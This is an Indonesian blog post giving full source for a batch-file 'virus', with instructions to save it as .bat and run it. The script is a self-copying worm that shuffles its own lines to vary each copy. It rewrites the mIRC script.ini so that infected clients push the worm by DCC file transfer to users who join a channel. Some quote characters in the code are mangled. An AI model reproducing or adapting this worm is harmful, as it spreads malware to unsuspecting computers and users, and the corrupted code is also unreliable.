Cara bikin virus dengan notepad Part II

Sebelumnya udah gw posting cara bikin Virus dari notepad yang mudah nah sekarang gw mau nambahin lagi tapi yang ini agak lebih nakal jangan dipraktekan di laptop kesayangan saran gw silahkan dicoba 

copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..

set shadow=0
@echo off % mawar-kuning %
cls % mawar-kuning %
% mawar-kuning %set /a shadow=%shadow%+1
% mawar-kuning %if %shadow% EQU 5 (
% mawar-kuning %echo kamu telah terinfeksi mawar kuning !!
% mawar-kuning %set shadow=0
% mawar-kuning %)
% mawar-kuning %echo set shadow=%shadow% >mawarkuning.bat
% mawar-kuning %set shadow=
% mawar-kuning %set qwxykjsi=set
% mawar-kuning %set aaa=A
%qwxykjsi% fi=if % mawar-kuning %
%qwxykjsi% nt=not % mawar-kuning %
%qwxykjsi% el=errorlevel % mawar-kuning %
%qwxykjsi% ine=%fi% %nt% %el% % mawar-kuning %
% mawar-kuning %set vrsa=rndom
set oto=goto% mawar-kuning %
%qwxykjsi% a=0 % mawar-kuning %
set fd=find% mawar-kuning %
%fd% “mawar-kuning”<%0>>mawarkuning.bat
%qwxykjsi% xp=true% mawar-kuning %
% mawar-kuning %if %xp% EQU true goto xptruea
goto winmawar % mawar-kuning %
:xptruea % mawar-kuning %
% mawar-kuning %set a=0
% mawar-kuning %set b=0
% mawar-kuning %set c=0
% mawar-kuning %set d=0
% mawar-kuning %set e=0
% mawar-kuning %set f=0
% mawar-kuning %set g=0
% mawar-kuning %set h=0
% mawar-kuning %set i=0
% mawar-kuning %set j=0
% mawar-kuning %set k=0
% mawar-kuning %set l=0
% mawar-kuning %set m=0
% mawar-kuning %set n=0
% mawar-kuning %set o=0
% mawar-kuning %set p=0
% mawar-kuning %set q=0
% mawar-kuning %set r=0
% mawar-kuning %set s=0
% mawar-kuning %set t=0
% mawar-kuning %set u=0
:mulai0 % mawar-kuning %
% mawar-kuning %set aa=0
:mulai1 % mawar-kuning %
if %aa% EQU 5 goto endmawarkuning % mawar-kuning %
%qwxykjsi% /a aa=%aa%+1 % mawar-kuning %
:mulai2 % mawar-kuning %
ver|time|%fd% “,1?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=1% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,2?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=2% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,3?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=3% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,4?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=4% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,5?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=5% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,6?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=6% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,7?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=7% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,8?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=8% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,9?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=9% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,0?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=10% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
goto mulai2 % mawar-kuning %
:endmawarkuning % mawar-kuning %
% mawar-kuning %if %a% NEQ 1 (if %rndom1% EQU 1 (
% mawar-kuning %find “%aaa%AAA” <%0 >>mawarkuning.bat
% mawar-kuning %set a=1
% mawar-kuning %))
% mawar-kuning %if %b% NEQ 1 (if %rndom1% EQU 2 (
% mawar-kuning %find “%aaa%BBB” <%0 >>mawarkuning.bat
% mawar-kuning %set b=1
% mawar-kuning %))
% mawar-kuning %if %c% NEQ 1 (if %rndom1% EQU 3 (
% mawar-kuning %find “%aaa%CCC” <%0 >>mawarkuning.bat
% mawar-kuning %set c=1
% mawar-kuning %))
% mawar-kuning %if %d% NEQ 1 (if %rndom1% EQU 4 (
% mawar-kuning %find “%aaa%DDD” <%0 >>mawarkuning.bat
% mawar-kuning %set d=1
% mawar-kuning %))
% mawar-kuning %if %e% NEQ 1 (if %rndom2% EQU 1 (
% mawar-kuning %find “%aaa%EEE” <%0 >>mawarkuning.bat
% mawar-kuning %set e=1
% mawar-kuning %))
% mawar-kuning %if %f% NEQ 1 (if %rndom2% EQU 2 (
% mawar-kuning %find “%aaa%FFF” <%0 >>mawarkuning.bat
% mawar-kuning %set f=1
% mawar-kuning %))
% mawar-kuning %if %g% NEQ 1 (if %rndom2% EQU 3 (
% mawar-kuning %find “%aaa%GGG” <%0 >>mawarkuning.bat
% mawar-kuning %set g=1
% mawar-kuning %))
% mawar-kuning %if %h% NEQ 1 (if %rndom2% EQU 4 (
% mawar-kuning %find “%aaa%HHH” <%0 >>mawarkuning.bat
% mawar-kuning %set h=1
% mawar-kuning %))
% mawar-kuning %if %i% NEQ 1 (if %rndom3% EQU 1 (
% mawar-kuning %find “%aaa%III” <%0 >>mawarkuning.bat
% mawar-kuning %set i=1
% mawar-kuning %))
% mawar-kuning %if %j% NEQ 1 (if %rndom3% EQU 2 (
% mawar-kuning %find “%aaa%JJJ” <%0 >>mawarkuning.bat
% mawar-kuning %set j=1
% mawar-kuning %))
% mawar-kuning %if %k% NEQ 1 (if %rndom3% EQU 3 (
% mawar-kuning %find “%aaa%KKK” <%0 >>mawarkuning.bat
% mawar-kuning %set k=1
% mawar-kuning %))
% mawar-kuning %if %l% NEQ 1 (if %rndom3% EQU 4 (
% mawar-kuning %find “%aaa%LLL” <%0 >>mawarkuning.bat
% mawar-kuning %set l=1
% mawar-kuning %))
% mawar-kuning %if %m% NEQ 1 (if %rndom4% EQU 1 (
% mawar-kuning %find “%aaa%MMM” <%0 >>mawarkuning.bat
% mawar-kuning %set m=1
% mawar-kuning %))
% mawar-kuning %if %n% NEQ 1 (if %rndom4% EQU 2 (
% mawar-kuning %find “%aaa%NNN” <%0 >>mawarkuning.bat
% mawar-kuning %set n=1
% mawar-kuning %))
% mawar-kuning %if %o% NEQ 1 (if %rndom4% EQU 3 (
% mawar-kuning %find “%aaa%OOO” <%0 >>mawarkuning.bat
% mawar-kuning %set o=1
% mawar-kuning %))
% mawar-kuning %if %p% NEQ 1 (if %rndom4% EQU 4 (
% mawar-kuning %find “%aaa%PPP” <%0 >>mawarkuning.bat
% mawar-kuning %set p=1
% mawar-kuning %))
% mawar-kuning %if %q% NEQ 1 (if %rndom5% EQU 1 (
% mawar-kuning %find “%aaa%QQQ” <%0 >>mawarkuning.bat
% mawar-kuning %set q=1
% mawar-kuning %))
% mawar-kuning %if %r% NEQ 1 (if %rndom5% EQU 2 (
% mawar-kuning %find “%aaa%RRR” <%0 >>mawarkuning.bat
% mawar-kuning %set r=1
% mawar-kuning %))
% mawar-kuning %if %s% NEQ 1 (if %rndom5% EQU 3 (
% mawar-kuning %find “%aaa%SSS” <%0 >>mawarkuning.bat
% mawar-kuning %set s=1
% mawar-kuning %))
% mawar-kuning %if %t% NEQ 1 (if %rndom5% EQU 4 (
% mawar-kuning %find “%aaa%TTT” <%0 >>mawarkuning.bat
% mawar-kuning %set t=1
% mawar-kuning %))
% mawar-kuning %if %u% NEQ 1 (if %rndom5% EQU 5 (
% mawar-kuning %find “%aaa%UUU” <%0 >>mawarkuning.bat
% mawar-kuning %set u=1
% mawar-kuning %))
% mawar-kuning %if %a% EQU 1 (if %b% EQU 1 (if %c% EQU 1 (if %d% EQU 1 (
% mawar-kuning %if %e% EQU 1 (if %f% EQU 1 (if %g% EQU 1 (if %h% EQU 1 (
% mawar-kuning %if %i% EQU 1 (if %j% EQU 1 (if %k% EQU 1 (if %l% EQU 1 (
% mawar-kuning %if %m% EQU 1 (if %n% EQU 1 (if %o% EQU 1 (if %p% EQU 1 (
% mawar-kuning %if %q% EQU 1 (if %r% EQU 1 (if %s% EQU 1 (if %t% EQU 1 (if %u% EQU 1 (
goto irca % mawar-kuning %
% mawar-kuning %)))))))))))))))))))))
goto mulai0 % mawar-kuning %
:winmawar % mawar-kuning %
set wina=0% mawar-kuning %
set winb=0% mawar-kuning %
set winc=0% mawar-kuning %
set wind=0% mawar-kuning %
set wine=0% mawar-kuning %
set oto=% mawar-kuning %
set qwxykjsi=% mawar-kuning %
set nt=% mawar-kuning %
set fi=% mawar-kuning %
set el=% mawar-kuning %
set ine=% mawar-kuning %
:mulaiwin2 % mawar-kuning %
% mawar-kuning %if not %wina%==1 goto mawarkuningengi
% mawar-kuning %if not %winb%==1 goto mawarkuningengi
% mawar-kuning %if not %winc%==1 goto mawarkuningengi
% mawar-kuning %if not %wind%==1 goto mawarkuningengi
% mawar-kuning %if not %wine%==1 goto mawarkuningengi
goto winirc % mawar-kuning %
:mawarkuningengi % mawar-kuning %
ver|time|find “,1?>nul % mawar-kuning %
if not errorlevel 1 set randoma=1% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,2?>nul % mawar-kuning %
if not errorlevel 1 set randoma=2% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,3?>nul % mawar-kuning %
if not errorlevel 1 set randoma=3% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,4?>nul % mawar-kuning %
if not errorlevel 1 set randoma=4% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,5?>nul % mawar-kuning %
if not errorlevel 1 set randoma=5% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
goto mulaiwin2 % mawar-kuning %
:enmawarkuningwin % mawar-kuning %
% mawar-kuning %if not %wina%==1 if %randoma%==1 goto enamawarkuningwin
% mawar-kuning %if not %winb%==1 if %randoma%==2 goto enbmawarkuningwin
% mawar-kuning %if not %winc%==1 if %randoma%==3 goto encmawarkuningwin
% mawar-kuning %if not %wind%==1 if %randoma%==4 goto endmawarkuningwin
% mawar-kuning %if not %wine%==1 if %randoma%==5 goto enemawarkuningwin
goto mulaiwin2 % mawar-kuning %
:enamawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%BBB”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%AAA”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%KKK”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%DDD”<%0>> mawarkuning.bat
set wina=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enbmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%EEE”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%LLL”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%GGG”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%HHH”<%0>> mawarkuning.bat
set winb=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:encmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%III”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%JJJ”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%CCC”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%FFF”<%0>> mawarkuning.bat
set winc=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:endmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%NNN”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%MMM”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%PPP”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%OOO”<%0>> mawarkuning.bat
set wind=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enemawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%RRR”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%SSS”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%UUU”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%TTT”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%QQQ”<%0>> mawarkuning.bat
set wine=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:winirc % mawar-kuning %
% mawar-kuning %set wina=
% mawar-kuning %set winb=
% mawar-kuning %set winc=
% mawar-kuning %set wind=
% mawar-kuning %set wine=
% mawar-kuning %set aaa=
% mawar-kuning %set randoma=
:irca % AAAA %
if exist C:\mirc\script.ini set mir=C:\mirc% AAAA %
echo %mir%
if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA %
if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA %
if exist C:\prgra~1\mirc32\script.ini set mir=C:\progra~1\mirc32% AAAA %
goto ircb% AAAA %
:ircb % ABBB %
set mirc=%mir%\script.ini% ABBB %
set vs=chr(% ABBB %
goto ircc% ABBB %
:ircc % ACCC %
set wc=echo file.writeline% ACCC %
goto ircd% ACCC %
:ircd % ADDD %
echo dim fso, file > irc.vbs% ADDD %
echo set fso = createobject(”scripting.filesystemobject”) >>irc.vbs% ADDD %
echo set file = fso.createtextfile (”%mir%\script.ini”, true)>>irc.vbs% ADDD %
goto irce% ADDD %
:irce % AEEE %
%wc% ” on 1:st” + %vs%97) + “rt: { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “filee %mir%\name.b” + %vs%97) + “t }”>>irc.vbs% AEEE %
%wc% ” on 1:join:#: { “>>irc.vbs% AEEE %
%wc% ” .if (” + %vs%36) + “nick != ” + %vs%36) + “me ” + %vs%38) + “” + %vs%38) + ” ” + %vs%37) + “old != ” + %vs%36) + “nick) {”>>irc.vbs% AEEE %
goto ircf% AEEE %
:ircf % AFFF %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “old ” + %vs%36) + “nick”>>irc.vbs% AFFF %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,100000) 1 5 .” + %vs%36) + “check_him( ” + %vs%36) + “nick , ” + %vs%36) + “ch” + %vs%97) + “n )”>>irc.vbs% AFFF %
goto ircg% AFFF %
:ircg % AGGG %
%wc% ” } “>>irc.vbs% AGGG %
%wc% ” }”>>irc.vbs% AGGG %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s check_him {”>>irc.vbs% AGGG %
goto irch% AGGG %
:irch % AHHH %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) “>>irc.vbs% AHHH %
%wc% ” .while (” + %vs%36) + “portfree(” + %vs%37) + “port) == ” + %vs%36) + “f” + %vs%97) + “lse) { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) }”>>irc.vbs% AHHH %
goto irci% AHHH %
:irci % AIII %
%wc% ” .%fi% (” + %vs%36) + “1 !isop ” + %vs%36) + “2) { “>>irc.vbs% AIII %
%wc% ” .%nt%ice ” + %vs%36) + “1 :DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” teletubies ( ” + %vs%36) + “+ ” + %vs%36) + “ip ” + %vs%36) + “+ ) “>>irc.vbs% AIII %
goto ircj% AIII %
:ircj % AJJJ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,99999)”>>irc.vbs% AJJJ %
%wc% ” .msg ” + %vs%36) + “1 _DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” ” + %vs%37) + “filee ” + %vs%36) + “longip(” + %vs%36) + “ip) ” + %vs%37) + “port ” + %vs%36) + “file(” + %vs%37) + “filee).size ” + %vs%36) + “+ _”>>irc.vbs% AJJJ %
%wc% ” .socklisten ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%37) + “port”>>irc.vbs% AJJJ %
goto irck% AJJJ %
:irck % AKKK %
%wc% ” .timers off”>>irc.vbs% AKKK %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,99999) 0 10 .cloze”>>irc.vbs% AKKK %
%wc% ” } “>>irc.vbs% AKKK %
goto ircl% AKKK %
:ircl % ALLL %
%wc% ” }”>>irc.vbs% ALLL %
%wc% ” on 1:socklisten:” + %vs%37) + “sock_n” + %vs%97) + “me: {”>>irc.vbs% ALLL %
goto ircm% ALLL %
:ircm % AMMM %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “client_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,9999999)”>>irc.vbs% AMMM %
%wc% ” .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me”>>irc.vbs% AMMM %
goto ircn% AMMM %
:ircn % ANNN %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “l 0?>>irc.vbs% ANNN %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs % ANNN %
goto irco% ANNN %
:irco % AOOO %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% AOOO %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% AOOO %
goto ircp% AOOO %
:ircp % APPP %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 0?>>irc.vbs% APPP %
%wc% ” }”>>irc.vbs% APPP %
%wc% ” on 1:sockre” + %vs%97) + “d:” + %vs%37) + “client_n” + %vs%97) + “me: {”>>irc.vbs% APPP %
goto ircq % APPP %
:ircq % AQQQ %
%wc% ” .%fi% (” + %vs%37) + “l >= ” + %vs%36) + “file(” + %vs%37) + “filee).size) {”>>irc.vbs% AQQQ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 1?>>irc.vbs% AQQQ %
goto ircr% AQQQ %
:ircr % ARRR %
%wc% ” .sockclose ” + %vs%37) + “client_n” + %vs%97) + “me”>>irc.vbs% ARRR %
%wc% ” .h” + %vs%97) + “lt”>>irc.vbs% ARRR %
%wc% ” } .else {”>>irc.vbs% ARRR %
goto ircs% ARRR %
:ircs % ASSS %
%wc% ” .%fi% (” + %vs%37) + “end != 1) {”>>irc.vbs% ASSS %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs% ASSS %
goto irct% ASSS %
:irct % ATTT %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% ATTT %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% ATTT %
%wc% ” } } }”>>irc.vbs% ATTT %
goto ircu% ATTT %
:ircu % AUUU %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s cloze { .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me } “>>irc.vbs% AUUU %
echo file.Close >>irc.vbs% AUUU %
cscript irc.vbs% AUUU %
cls% AUUU %
goto eirc% AUUU %
:eirc % mawar-shadow %
del irc.vbs % mawar-shadow %
find “mawar-shadow”<%0>>mawarkuning.bat
copy mawarkuning.bat %mir%\Mawar Kuning.bat % mawar-shadow %
del mawarkuning.bat % mawar-shadow %
cls % mawar-shadow %